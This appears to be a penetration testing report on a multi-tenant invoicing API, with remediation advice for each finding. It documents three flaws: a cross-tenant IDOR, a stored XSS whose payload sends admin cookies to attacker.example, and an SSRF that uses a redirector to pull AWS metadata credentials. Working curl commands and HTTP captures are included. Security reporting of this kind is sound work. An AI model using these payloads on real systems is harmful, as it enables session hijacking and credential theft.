Penetration Testing Report

IDOR — Cross-tenant invoice access via /api/invoices/{id}

The invoice retrieval endpoint authenticates the requesting user but does not verify that the authenticated user's organization owns the requested invoice. An attacker holding any valid customer account can enumerate invoice IDs (sequential integers) and retrieve invoices belonging to other tenants, including line items, billing addresses, and PDF download URLs.

# Authenticate as org-A admin
TOKEN=$(curl -s -X POST https://api.plinth.app/auth/login \
  -d '{"email":"admin@org-a.test","password":"REDACTED"}' \
  -H "content-type: application/json" | jq -r .access_token)

# Org-A's own invoice (id=4821) — expected to succeed
curl -s https://api.plinth.app/api/invoices/4821 \
  -H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4821, "organization_id": "org_a", "total": 12500}

# Org-B's invoice (id=4820) — should be forbidden, but returns 200
curl -s https://api.plinth.app/api/invoices/4820 \
  -H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4820, "organization_id": "org_b", "total": 84200}     <-- LEAK

# Sequential enumeration retrieved 47 invoices from 11 distinct orgs
# in under 60 seconds at the documented rate limit.

GET /api/invoices/4820 HTTP/1.1
Host: api.plinth.app
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6Ik···
Accept: application/json
User-Agent: CyberGrid-Repeater/1.0
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: req_8f2c·a4b1
Content-Length: 487

{
  "id": 4820,
  "organization_id": "org_b",
  "customer": { "name": "Acme Bio Labs",
    "billing_email": "ap@acme-bio.test" },
  "line_items": [ ... ],
  "total": 84200,
  "pdf_url": "https://invoices.plinth.app/pdf/4820/sig_xRwzqL2..."
}

Enforce object-level authorization in the invoice handler. The retrieved invoice's organization_id must match the requesting user's organization (or the user must have an explicit cross-org role). Recommended pattern: a middleware that loads the resource and compares ownership before the controller runs. Aligns with OWASP ASVS V4.2.1 and SOC 2 CC6.1.

Stored XSS in customer-notes field — admin dashboard rendering

The customer-notes field accepts HTML and renders the unsanitized value directly inside the admin dashboard. Any standard-tier user can store a payload that executes JavaScript in any administrator's browser the next time the admin views that customer. The admin's session token has access to all tenant data, making this a viable privilege-escalation primitive.

# Authenticated as a low-privilege user
curl -s -X POST https://api.plinth.app/api/customers/4821/notes \
  -H "authorization: Bearer $USER_TOKEN" \
  -H "content-type: application/json" \
  -d '{"note":"<img src=x onerror=\"fetch(\\\"//attacker.example/?c=\\\"+document.cookie)\">"}'

# When an admin visits /admin/customers/4821, the payload executes in their
# browser context. Captured cookies grant org-wide admin access for the
# remaining session lifetime.

Rendered HTML observed in admin dashboard:
<div class="customer-note">
  <img src=x onerror="fetch('//attacker.example/?c='+document.cookie)">
</div>

Outbound DNS observed from admin browser to attacker.example
within ~80ms of the admin viewing the customer detail page.

Render the notes field as plain text (HTML-escape on output), or apply an allowlist sanitizer (DOMPurify) restricted to a tight set of inline-formatting tags. Add a restrictive Content-Security-Policy (see F-005) — that's defense-in-depth, not a fix on its own. Audit any other field rendered into the admin dashboard for the same pattern.

SSRF in webhook-URL validator — internal metadata service reachable

The webhook-creation endpoint validates that the provided URL returns a 2xx within 5 seconds before persisting it. The validator follows HTTP redirects without restricting the destination scheme or host, and is not filtered against private / link-local IP ranges. An attacker can register a webhook pointing at a public attacker-controlled URL that 302-redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1). The response body is then returned in the validator's error message, exposing instance credentials.

# 1. Attacker stands up a redirector
#    GET /  ->  302  Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Register a webhook pointing at the redirector
curl -X POST https://api.plinth.app/api/webhooks \
  -H "authorization: Bearer $TOKEN" \
  -H "content-type: application/json" \
  -d '{"url":"https://attacker.example/redirect","events":["customer.created"]}'

# 3. Validator follows the redirect to IMDS; response body bubbled into error:
HTTP/1.1 400 Bad Request
{"error":"webhook responded with unexpected body: ec2-role-name"}

# 4. Second registration to the credentials URL retrieves the full STS payload
curl -X POST https://api.plinth.app/api/webhooks \
  -d '{"url":"https://attacker.example/r2","events":["customer.created"]}'
# Body contains AccessKeyId, SecretAccessKey, Token — usable for ~6 hours

Apply an explicit destination allowlist OR explicit denylist of RFC1918, RFC6598, link-local, loopback, and cloud metadata ranges (169.254.169.254, fd00:ec2::254). Resolve the target hostname to an IP and verify against the policy before issuing the request, and re-check after each redirect (do not rely on the resolver running per redirect). Require IMDSv2 (token-bound) on the EC2 hosts so even a successful SSRF can't retrieve credentials without the additional PUT step. Sink validator errors to a generic "webhook URL did not respond as expected" — never return body content.